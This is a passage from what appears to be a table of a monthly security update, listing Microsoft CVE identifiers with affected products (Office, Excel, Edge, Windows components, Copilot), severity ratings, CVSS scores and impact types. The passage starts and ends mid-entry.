8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure 